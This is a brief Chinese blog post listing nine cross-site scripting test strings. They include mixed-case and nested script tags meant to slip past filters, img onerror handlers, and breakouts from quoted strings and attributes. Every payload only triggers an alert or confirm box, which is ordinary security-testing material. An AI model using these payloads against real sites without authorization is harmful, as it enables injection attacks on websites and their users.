nini的部落格

     ex1:

檢測字串:

<script>alert(‘niki’)</script>

ex2:

檢測字串:

<SCript>alert('niki')</SCript>

把s換成大寫

ex3:

檢測字串:

<Sc<script>ript>alert('niki'<%2fSc</script>ript>

ex4:

檢測字串:

<img%20src="image.gif"%20onerror="alert('niki')"%20/>

ex5:

檢測字串:

<img%20src="asd"%20onerror=confirm("niki")%20/>

ex6:

檢測字串:

";alert('niki');%20var%20$b="

ex7:

檢測字串:

';alert('niki');%20var%20$b='

ex8:

檢測字串:

/"><script>alert('niki')</script><form%20action="

ex9:

檢測字串:

<script>alert('niki')</script>